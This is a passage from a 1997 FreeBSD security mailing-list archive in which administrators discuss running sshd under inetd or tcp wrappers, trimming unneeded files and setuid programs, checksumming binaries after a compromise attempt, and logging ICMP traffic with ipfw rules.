incoming connection. > > Or you can do what we've done on some of our machines, and turn off inetd, > leaving *only* sshd running. Who needs legacy protocols like telnet and > ftp when you've got sshd? (Tongue partly in cheek here; but only partly. > This really does work well in some environments.) > > Jim Shankland > Flying Fox Computer Systems, Inc. > From owner-freebsd-security Thu Jun 26 13:16:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA09765 for security-outgoing; Thu, 26 Jun 1997 13:16:01 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA09745 for ; Thu, 26 Jun 1997 13:15:58 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0whKw8-0004YA-00; Thu, 26 Jun 1997 14:14:36 -0600 To: Nathan Dorfman Subject: Re: SSHD from Inetd Cc: jas@flyingfox.com (Jim Shankland), freebsd-security@freebsd.org In-reply-to: Your message of "Thu, 26 Jun 1997 15:33:51 EDT." <199706261933.PAA20854@limbo.senate.org> References: <199706261933.PAA20854@limbo.senate.org> Date: Thu, 26 Jun 1997 14:14:36 -0600 From: Warner Losh Message-Id: Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199706261933.PAA20854@limbo.senate.org> Nathan Dorfman writes: : Actually I wanted sshd to run with tcpd :) is it possible to do that : without inetd? Hmmm, isn't there a --with-tcpd like flag for ssh? : Also, I have seen where sendmail was tcpd'd and HELO : would report a pident output! Any info on this? No clue. Warner From owner-freebsd-security Thu Jun 26 13:27:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA10456 for security-outgoing; Thu, 26 Jun 1997 13:27:51 -0700 (PDT) Received: from verdi.nethelp.no (verdi.nethelp.no [195.1.171.130]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA10449 for ; Thu, 26 Jun 1997 13:27:45 -0700 (PDT) From: sthaug@nethelp.no Received: (qmail 4733 invoked by uid 1001); 26 Jun 1997 20:27:19 +0000 (GMT) To: jas@flyingfox.com Cc: freebsd-security@FreeBSD.ORG, nathan@senate.org Subject: Re: SSHD from Inetd In-Reply-To: Your message of "Thu, 26 Jun 1997 12:31:08 -0700 (PDT)" References: <199706261931.MAA00269@biggusdiskus.flyingfox.com> X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Thu, 26 Jun 1997 22:27:19 +0200 Message-ID: <4731.867356839@verdi.nethelp.no> Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Or you can do what we've done on some of our machines, and turn off inetd, > leaving *only* sshd running. Who needs legacy protocols like telnet and > ftp when you've got sshd? (Tongue partly in cheek here; but only partly. > This really does work well in some environments.) You're not the only one. We have some machines here with only ssh login, and the only thing run out of inetd is the qmail smtpd. I've been wishing for a few more knobs for just such situations - for instance a knob to control whether portmap is started or not. I normally turn off portmap - because I have no use for it, and because portmap has traditionally had security holes. (I'm confident that the FreeBSD portmap is better than the old SunOS 4.1.x portmap in this regard, but it could still have security holes.) Steinar Haug, Nethelp consulting, sthaug@nethelp.no From owner-freebsd-security Thu Jun 26 13:32:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA10727 for security-outgoing; Thu, 26 Jun 1997 13:32:01 -0700 (PDT) Received: from nexis.net ([204.92.49.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA10685 for ; Thu, 26 Jun 1997 13:31:55 -0700 (PDT) Received: from localhost (james@localhost) by nexis.net (8.8.5/8.8.5) with SMTP id QAA14335; Thu, 26 Jun 1997 16:30:32 -0400 (EDT) Date: Thu, 26 Jun 1997 16:30:32 -0400 (EDT) From: James FitzGibbon To: Nathan Dorfman cc: Jim Shankland , freebsd-security@FreeBSD.ORG Subject: Re: SSHD from Inetd In-Reply-To: <199706261933.PAA20854@limbo.senate.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 26 Jun 1997, Nathan Dorfman wrote: > Actually I wanted sshd to run with tcpd :) is it possible to do that > without inetd? Also, I have seen where sendmail was tcpd'd and HELO > would report a pident output! Any info on this? sshd can be linked against libwrap and use /usr/local/etc/hosts.allow internally. Look at the port, it has comments about using USE_WRAP=YES to do this. -- j. ---------------------------------------------------------------------------- | James FitzGibbon james@nexis.net | | The Nexis Group Voice/Fax : 416 410-0100 | ---------------------------------------------------------------------------- From owner-freebsd-security Thu Jun 26 14:31:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA13604 for security-outgoing; Thu, 26 Jun 1997 14:31:33 -0700 (PDT) Received: from ns2.harborcom.net (root@ns2.harborcom.net [206.158.4.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA13598 for ; Thu, 26 Jun 1997 14:31:30 -0700 (PDT) Received: from localhost (bradley@localhost) by ns2.harborcom.net (8.8.5/8.8.5) with SMTP id RAA27219; Thu, 26 Jun 1997 17:31:22 -0400 (EDT) Date: Thu, 26 Jun 1997 17:31:22 -0400 (EDT) From: Bradley Dunn X-Sender: bradley@ns2.harborcom.net To: sthaug@nethelp.no cc: freebsd-security@FreeBSD.ORG Subject: Re: SSHD from Inetd In-Reply-To: <4731.867356839@verdi.nethelp.no> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 26 Jun 1997 sthaug@nethelp.no wrote: > I've been wishing for a few more knobs for just such situations - for > instance a knob to control whether portmap is started or not. I normally > turn off portmap - because I have no use for it, and because portmap has > traditionally had security holes. (I'm confident that the FreeBSD portmap > is better than the old SunOS 4.1.x portmap in this regard, but it could > still have security holes.) Recent rc.conf's have this: portmap_enable="YES" # Run the portmapper service (or NO). portmap_flags="" # Flags to portmap (if enabled). pbd -- You can make it illegal, but you can't make it unpopular. From owner-freebsd-security Thu Jun 26 14:47:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA14298 for security-outgoing; Thu, 26 Jun 1997 14:47:41 -0700 (PDT) Received: from g0d.tbe.net (qmailr@president.clinton.net [208.192.6.19]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA14290 for ; Thu, 26 Jun 1997 14:47:36 -0700 (PDT) Received: (qmail 346 invoked from network); 26 Jun 1997 20:50:56 -0000 Received: from president.clinton.net (HELO g0d.tbe.net) (god@208.192.6.19) by president.clinton.net with SMTP; 26 Jun 1997 20:50:56 -0000 Date: Thu, 26 Jun 1997 16:50:55 -0400 (EDT) From: The Exalted One To: freebsd-security@FreeBSD.ORG Subject: Re: SSHD from Inetd In-Reply-To: <199706261933.PAA20854@limbo.senate.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 26 Jun 1997, Nathan Dorfman wrote: > Actually I wanted sshd to run with tcpd :) is it possible to do that > without inetd? Also, I have seen where sendmail was tcpd'd and HELO > would report a pident output! Any info on this? In /usr/local/etc/sshd_config or /etc/sshd_config as the case may be there are options to specifically deny/allow certain hosts in the same manner that tcpd does. If this is all you are looking for, then sshd has it all built in. Jim Brinkerhoff TBE Internet Services ___ _ ___ _ / __|_ __| |__ _ __| _ \___ ___ __| | Jym Brinkerhoff \__ \ '_ \ / _` (_-< _/ _ \/ _ \/ _` | TBE Network Admin & Security Adm |___/ .__/_\__,_/__/_| \___/\___/\__,_| Bow Before Me, For I Am Your God. |_| Key fingerprint = 41 B8 97 D0 7A F6 EE 49 B1 B6 BB A6 73 2A 41 12 http://keys.pgp.com:11371/pks/lookup?op=get&search=0x944D9DA9 From owner-freebsd-security Thu Jun 26 15:46:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA16818 for security-outgoing; Thu, 26 Jun 1997 15:46:24 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA16800 for ; Thu, 26 Jun 1997 15:46:16 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id IAA21895; Fri, 27 Jun 1997 08:46:00 +1000 (EST) Date: Fri, 27 Jun 1997 08:45:59 +1000 (EST) From: "Daniel O'Callaghan" To: Nathan Dorfman cc: freebsd-security@FreeBSD.ORG Subject: Re: SSHD from Inetd In-Reply-To: <199706261848.OAA14569@limbo.senate.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 26 Jun 1997, Nathan Dorfman wrote: > How can I run sshd from inetd? I hate daemons that need > their own process ;) It mentions how in the man page, I believe. Use the -i flag. But be sure you read the man page about why it is not so good to use inetd. sshd must do significant processing to start up. Danny From owner-freebsd-security Thu Jun 26 17:31:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA22625 for security-outgoing; Thu, 26 Jun 1997 17:31:16 -0700 (PDT) Received: from uucp1.nwnexus.com (uucp1.nwnexus.com [206.63.63.110]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA22620 for ; Thu, 26 Jun 1997 17:31:13 -0700 (PDT) Received: from readybox.com (uucp@localhost) by uucp1.nwnexus.com (8.8.5/8.8.5) with UUCP id RAA28600 for freebsd-security@freebsd.org; Thu, 26 Jun 1997 17:31:12 -0700 (PDT) Received: (from gfm@localhost) by angel.readybox.com (8.6.8/8.6.6) id RAA12178 for freebsd-security@freebsd.org; Thu, 26 Jun 1997 17:29:46 -0700 Date: Thu, 26 Jun 1997 17:29:46 -0700 From: Frank McCormick Message-Id: <199706270029.RAA12178@angel.readybox.com> To: freebsd-security@freebsd.org Subject: Minimum files for operation Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Does anyone know of a list compiled somewhere, naming the handful of files required for minimal operation of FreeBSD? The security-related literature I've been through emphasizes the need to secure the hosts themselves, partly through removing any unneeded files. (If you're running a mail hub, you probably don't need a C compiler. If you are providing only Web service with static pages, you should remove the perl interpreter. And so on.) So what is the truly minimum set of files needed for common server chores? Obviously, everyone needs an init, everyone needs the relevant /dev files, everyone needs cron, etc, etc. Has anyone ever drawn up a list saying, in effect, "For a mail hub, use only these files. For a DNS server, use these"? Frank McCormick From owner-freebsd-security Thu Jun 26 17:35:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA22860 for security-outgoing; Thu, 26 Jun 1997 17:35:58 -0700 (PDT) Received: from darkwing.pacific.net.sg (darkwing.pacific.net.sg [203.120.89.89]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA22855 for ; Thu, 26 Jun 1997 17:35:55 -0700 (PDT) Received: (qmail 2591 invoked by uid 100); 27 Jun 1997 00:36:01 -0000 Message-ID: <19970627083601.24101@darkwing.pacific.net.sg> Date: Fri, 27 Jun 1997 08:36:01 +0800 From: Ng Pheng Siong To: James FitzGibbon Cc: Nathan Dorfman , Jim Shankland , freebsd-security@FreeBSD.ORG Subject: Re: SSHD from Inetd References: <199706261933.PAA20854@limbo.senate.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76e In-Reply-To: ; from James FitzGibbon on Thu, Jun 26, 1997 at 04:30:32PM -0400 Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Jun 26, James FitzGibbon wrote: > > Actually I wanted sshd to run with tcpd :) is it possible to do that > > without inetd? Also, I have seen where sendmail was tcpd'd and HELO > > would report a pident output! Any info on this? > > sshd can be linked against libwrap and use /usr/local/etc/hosts.allow > internally. I've tried --with-libwrap. (Ok, it was on Solaris 2.5, ssh 1.2.17.) Denied connections were logged, allowed ones weren't, IIRC. Not good enough for me, so I'm running sshd out of inetd. Venema provided a short patch on the ssh list, but it didn't work for me. I can take the performance hit, coz my sshd machine is my desktop, and I only ever ssh in from my notebook. YMWV. -- Ng Pheng Siong Fast. Secure. Cheap. Pick two. From owner-freebsd-security Thu Jun 26 17:57:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA23993 for security-outgoing; Thu, 26 Jun 1997 17:57:42 -0700 (PDT) Received: from nexis.net ([204.92.49.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA23988 for ; Thu, 26 Jun 1997 17:57:38 -0700 (PDT) Received: from localhost (james@localhost) by nexis.net (8.8.5/8.8.5) with SMTP id UAA18612; Thu, 26 Jun 1997 20:56:59 -0400 (EDT) Date: Thu, 26 Jun 1997 20:56:58 -0400 (EDT) From: James FitzGibbon To: Ng Pheng Siong cc: Nathan Dorfman , Jim Shankland , freebsd-security@FreeBSD.ORG Subject: Re: SSHD from Inetd In-Reply-To: <19970627083601.24101@darkwing.pacific.net.sg> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 27 Jun 1997, Ng Pheng Siong wrote: > Denied connections were logged, allowed ones weren't, IIRC. > Not good enough for me, so I'm running sshd out of inetd. I think you can define "FascistLogging" either as a build option or as an option in sshd_config that will do this for you. -- j. ---------------------------------------------------------------------------- | James FitzGibbon james@nexis.net | | The Nexis Group Voice/Fax : 416 410-0100 | ---------------------------------------------------------------------------- From owner-freebsd-security Thu Jun 26 18:22:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA25164 for security-outgoing; Thu, 26 Jun 1997 18:22:20 -0700 (PDT) Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA25159 for ; Thu, 26 Jun 1997 18:22:17 -0700 (PDT) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.8.5/8.8.5) id VAA28046; Thu, 26 Jun 1997 21:22:13 -0400 (EDT) Date: Thu, 26 Jun 1997 21:22:13 -0400 (EDT) From: Garrett Wollman Message-Id: <199706270122.VAA28046@khavrinen.lcs.mit.edu> To: Frank McCormick Cc: freebsd-security@FreeBSD.ORG Subject: Minimum files for operation In-Reply-To: <199706270029.RAA12178@angel.readybox.com> References: <199706270029.RAA12178@angel.readybox.com> Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk < said: > The security-related literature I've been through emphasizes the > need to secure the hosts themselves, partly through removing any > unneeded files. This may have made sense in the past, when it was difficult to get a binary from one place to another and have it still work. This is no longer the case; any attacker could simply create appropriate versions of the binaries that he needs to do his dirty work. It's probably more useful, instead, to learn how to use the security features of the operating system to keep log files and system binaries secure from inappropriate modification. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-security Thu Jun 26 18:34:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA25525 for security-outgoing; Thu, 26 Jun 1997 18:34:05 -0700 (PDT) Received: from kirk.edmweb.com (kirk.edmweb.com [204.244.190.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA25520 for ; Thu, 26 Jun 1997 18:34:03 -0700 (PDT) Received: from bluesmoke.edmweb.com (bluesmoke.edmweb.com [204.244.190.8]) by kirk.edmweb.com (8.8.5/8.7.3) with ESMTP id SAA25974; Thu, 26 Jun 1997 18:33:54 -0700 (PDT) Message-Id: <199706270133.SAA25974@kirk.edmweb.com> To: Frank McCormick cc: freebsd-security@FreeBSD.ORG Subject: Re: Minimum files for operation In-reply-to: Your message of "Thu, 26 Jun 1997 17:29:46 PDT." <199706270029.RAA12178@angel.readybox.com> Date: Thu, 26 Jun 1997 18:33:50 -0700 From: Steve Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The security-related literature I've been through emphasizes the need > to secure the hosts themselves, partly through removing any unneeded > files. (If you're running a mail hub, you probably don't need a C > compiler. If you are providing only Web service with static pages, > you should remove the perl interpreter. And so on.) I wouldn't worry about such things. If someone has broken in to your system, they can upload the C compiler, Perl interpreter, and whatever else they need. Clever use of redirection is all it takes. What you _should_ worry about are the privileged programs that are set-UID or set-GID. FreeBSD (2.1-stable at least, probably most or all other versions) has a "security" script that runs every night and places a list of all suid programs and devices in /var/log/setuid.today It would be a good idea to look at that list and then use chmod to remove the suid bit from programs that you don't need. You may also need to use chflags to remove the schg (immutable) flag before chmod. There was a post to this list briefly explaining the functions of most of the suid programs... Check the archives for a message from Marc Slemko, subject "setuid programs in freebsd". From owner-freebsd-security Thu Jun 26 19:05:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA27757 for security-outgoing; Thu, 26 Jun 1997 19:05:42 -0700 (PDT) Received: from darkwing.pacific.net.sg (darkwing.pacific.net.sg [203.120.89.89]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA27744 for ; Thu, 26 Jun 1997 19:05:33 -0700 (PDT) Received: (qmail 2926 invoked by uid 100); 27 Jun 1997 02:05:39 -0000 Message-ID: <19970627100539.54789@darkwing.pacific.net.sg> Date: Fri, 27 Jun 1997 10:05:39 +0800 From: Ng Pheng Siong To: James FitzGibbon Cc: freebsd-security@FreeBSD.ORG Subject: Re: SSHD from Inetd References: <19970627083601.24101@darkwing.pacific.net.sg> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76e In-Reply-To: ; from James FitzGibbon on Thu, Jun 26, 1997 at 08:56:58PM -0400 Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Jun 26, James FitzGibbon wrote: > > Denied connections were logged, allowed ones weren't, IIRC. > > Not good enough for me, so I'm running sshd out of inetd. > > I think you can define "FascistLogging" either as a build option or as an > option in sshd_config that will do this for you. Indeed. Well, as a matter of taste I prefer to keep all the access control stuff in one file, and I've always used the extended language option for tcpwrappers. -- Ng Pheng Siong Fast. Secure. Cheap. Pick two. From owner-freebsd-security Thu Jun 26 19:53:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA29899 for security-outgoing; Thu, 26 Jun 1997 19:53:12 -0700 (PDT) Received: from homeport.org (lighthouse.homeport.org [205.136.65.198]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA29893 for ; Thu, 26 Jun 1997 19:53:08 -0700 (PDT) Received: (adam@localhost) by homeport.org (8.8.5/8.6.9) id WAA12067; Thu, 26 Jun 1997 22:49:17 -0400 (EDT) From: Adam Shostack Message-Id: <199706270249.WAA12067@homeport.org> Subject: Re: Minimum files for operation In-Reply-To: <199706270133.SAA25974@kirk.edmweb.com> from Steve at "Jun 26, 97 06:33:50 pm" To: steve@edmweb.com (Steve) Date: Thu, 26 Jun 1997 22:49:16 -0400 (EDT) Cc: gfm@readybox.com, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL27 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve wrote: | > The security-related literature I've been through emphasizes the need | > to secure the hosts themselves, partly through removing any unneeded | > files. (If you're running a mail hub, you probably don't need a C | > compiler. If you are providing only Web service with static pages, | > you should remove the perl interpreter. And so on.) | | I wouldn't worry about such things. If someone has broken in to your | system, they can upload the C compiler, Perl interpreter, and whatever | else they need. Clever use of redirection is all it takes. Uploading a C compiler or perl involves a lot of disk space and effort. Removing servers, daemons, and other things is clearly worthwhile. I think there's a win in removing uname and other things, and making your attacker go through some effort. (assuming that you go through less.) Steve's other advice about removing set*id stuff is very good. Its also worth mounting most disks nosetuid/nodev. Adam | What you _should_ worry about are the privileged programs that are | set-UID or set-GID. FreeBSD (2.1-stable at least, probably most or all | other versions) has a "security" script that runs every night and | places a list of all suid programs and devices in /var/log/setuid.today | It would be a good idea to look at that list and then use chmod to | remove the suid bit from programs that you don't need. You may also | need to use chflags to remove the schg (immutable) flag before chmod. -- "It is seldom that liberty of any kind is lost all at once." -Hume From owner-freebsd-security Thu Jun 26 23:40:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA06952 for security-outgoing; Thu, 26 Jun 1997 23:40:26 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA06932; Thu, 26 Jun 1997 23:40:18 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id PAA03407; Fri, 27 Jun 1997 15:40:02 +0900 (JST) To: freebsd-security@freebsd.org, freebsd-hackers@freebsd.org cc: freebsd-tech-jp@jp.freebsd.org Cc: Kenji Rikitake Subject: Re: ipsec code made in Japan X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: <17483.867288866@itojun.csl.sony.co.jp> In-reply-to: itojun@itojun.org's message of Thu, 26 Jun 1997 10:34:26 +0900. <17483.867288866@itojun.csl.sony.co.jp> X-Mailer: comp (MHng project) version 1997/04/30 02:23:09, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Fri, 27 Jun 1997 15:40:02 +0900 Message-ID: <3404.867393602@itojun.csl.sony.co.jp> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Regarding to IPsec package, >>Some more comments on the above experimental code: >>* ESP (Encapsulated Security Payload, which means encrypted packets) >> has some glitches yet on the 970623 version yet, causing data >> corruption on TCP applications such as ftp or ssh. Itojun and the >> developpers are working hard to fix the problem. > thanks kenji, I've put > ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/BUGS > for this announcement :-) I've made a fix for this, so please fetch again the latest one. Thanks. itojun From owner-freebsd-security Thu Jun 26 23:58:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA07557 for security-outgoing; Thu, 26 Jun 1997 23:58:40 -0700 (PDT) Received: from labs.usn.blaze.net.au (labs.usn.blaze.net.au [203.17.53.30]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA07545 for ; Thu, 26 Jun 1997 23:58:31 -0700 (PDT) Received: from labs.usn.blaze.net.au (local [127.0.0.1]) by labs.usn.blaze.net.au (8.8.5/8.8.5) with ESMTP id QAA00874; Fri, 27 Jun 1997 16:57:40 +1000 (EST) Message-Id: <199706270657.QAA00874@labs.usn.blaze.net.au> X-Mailer: exmh version 2.0gamma 1/27/96 To: "Jordan K. Hubbard" , Sean Kelly , security@freebsd.org Subject: Re: Attempt to compromise root In-reply-to: Your message of "Fri, 20 Jun 1997 11:20:48 MST." <25515.866830848@time.cdrom.com> X-Face: (W@z~5kg?"+5?!2kHP)+l369.~a@oTl^8l87|/s8"EH?Uk~P#N+Ec~Z&@;'LL!;3?y Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 27 Jun 1997 16:57:40 +1000 From: David Nugent Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I've tried ftp'ing to the.art.of.sekurity.org and have been successful > > only once, but haven't been able to transfer any files. sekurity.org > > appears registered to a organization called "Insekurity, Inc.". > > I've got the contents of the site mirrored now and I'll have a look > through some of it as I have time. It's possible that there are > some genuine compromises here, but it's hard to say. I doubt you'll see much via the anon-ftp login. Like the warez d00dz, these sites hide their l33t stuff behind alternative logins. FWIW, this attempt looks very similar (even source flie names) to things I've seen from time to time as well. Typical, yes. I had one guy once have a working exploit, but he didn't realise you had to run it twice, so he didn't get root, then left the evidence sitting around. Of course, it wasn't the would-be crackers account, so I guess they didn't care. We were lucky then, and having only months previously been successfully hacked, we had a full md5 of all binaries and very recent config and were confident that root was not compromised. > > (2) Can we get an option during the FreeBSD install to generate the > > md5/mtree digest? Naturally, I read up on this feature after the > > You mean of the exact tree you've installed? Hmmmm. There are > the foo.mtree files in each distribution, but is there some reason > why that wouldn't be enough? md5 checksums would be the go. But there are tools in existence that already do this available on many/most UNIX security-related sites. I know that security is an important issue for many people, but I'm not sure that other than ensuring that there are no /defects/ in the base operating system that it is a role that FreeBSD should provide anything more. Not to mention that some people who run unconnected to any network, or at least any 'hostile' network don't need these things anyway. Having these things as part of the base operating system is more likely to have the reverse effect from what is desired. For example, some Linux distributions come with tcp wrappers installed in the 'standard' install, but how many Linux sites actually use it or even know HOW to use it, and in some cases that it is even there? Of if they do, do they make the usually fatal mistake of assuming that because it is installed and presumably functioning, that they are somehow more secure? Making the tools available is a very minor part of the process - the system administrator needs to understand and use these tools judiciously. No security tool is "install and forget" - that isn't their nature. Having the person fetch the package, install it and READ THE DOCUMENTATION are the most important steps in securing a system. Regards, David David Nugent - Unique Computing Pty Ltd - Melbourne, Australia Voice +61-3-9791-9547 Data/BBS +61-3-9792-3507 3:632/348@fidonet davidn@freebsd.org davidn@blaze.net.au http://www.blaze.net.au/~davidn/ From owner-freebsd-security Fri Jun 27 00:39:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA09424 for security-outgoing; Fri, 27 Jun 1997 00:39:18 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA09418 for ; Fri, 27 Jun 1997 00:39:14 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id AAA29999; Fri, 27 Jun 1997 00:39:34 -0700 (PDT) To: David Nugent cc: Sean Kelly , security@freebsd.org Subject: Re: Attempt to compromise root In-reply-to: Your message of "Fri, 27 Jun 1997 16:57:40 +1000." <199706270657.QAA00874@labs.usn.blaze.net.au> Date: Fri, 27 Jun 1997 00:39:32 -0700 Message-ID: <29995.867397172@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > You mean of the exact tree you've installed? Hmmmm. There are > > the foo.mtree files in each distribution, but is there some reason > > why that wouldn't be enough? > > md5 checksums would be the go. But there are tools in existence that > already do this available on many/most UNIX security-related sites. The mtree files _do_ contain md5 checksums. Uh, have you actually looked at them? :-) Jordan From owner-freebsd-security Fri Jun 27 06:43:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA22012 for security-outgoing; Fri, 27 Jun 1997 06:43:14 -0700 (PDT) Received: from limbo.senate.org (nathan@senate.org [204.141.125.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA22003 for ; Fri, 27 Jun 1997 06:43:07 -0700 (PDT) Received: (from nathan@localhost) by limbo.senate.org (8.8.5/8.8.5) id JAA04122 for freebsd-security@freebsd.org; Fri, 27 Jun 1997 09:43:05 -0400 (EDT) Date: Fri, 27 Jun 1997 09:43:05 -0400 (EDT) From: Nathan Dorfman Message-Id: <199706271343.JAA04122@limbo.senate.org> To: freebsd-security@freebsd.org Subject: ICMP Logging Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is there a way for the kernel to syslog(3) all ICMP messages? This would serve two purposes; a) as I have all syslog messages directed to an unused vty I could observer such DoS attacks in progress and b) if they are stored in the log files I could use the logs in case the matter needed to be pursued further. If this is not a part of the current kernel, it would (IMO) be a very good addition to -current and -stable. If you *are* planning on adding it soon, please let me know and I'll hold off my upgrade (I'm currently running 2.2.1- RELEASE and wanted to upgrade to -stable). From owner-freebsd-security Fri Jun 27 07:47:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA24424 for security-outgoing; Fri, 27 Jun 1997 07:47:11 -0700 (PDT) Received: (from jmb@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA24410; Fri, 27 Jun 1997 07:47:07 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199706271447.HAA24410@hub.freebsd.org> Subject: Re: ICMP Logging To: nathan@senate.org (Nathan Dorfman) Date: Fri, 27 Jun 1997 07:47:07 -0700 (PDT) Cc: freebsd-security@freebsd.org In-Reply-To: <199706271343.JAA04122@limbo.senate.org> from "Nathan Dorfman" at Jun 27, 97 09:43:05 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Nathan Dorfman wrote: > > Is there a way for the kernel to syslog(3) all ICMP messages? This would serve > two purposes; a) as I have all syslog messages directed to an unused vty I > could observer such DoS attacks in progress and b) if they are stored in the > log files I could use the logs in case the matter needed to be pursued further. use the "log" option in ipfw for icmp packets for instance: ipfw add allow log icmp from any to any dont forget the default rule: 65535 deny all from any to any so allow any traffic you want, even if its all traffic ipfw add allog all from any to any > > If this is not a part of the current kernel, it would (IMO) be a very good > addition to -current and -stable. If you *are* planning on adding it soon, > please let me know and I'll hold off my 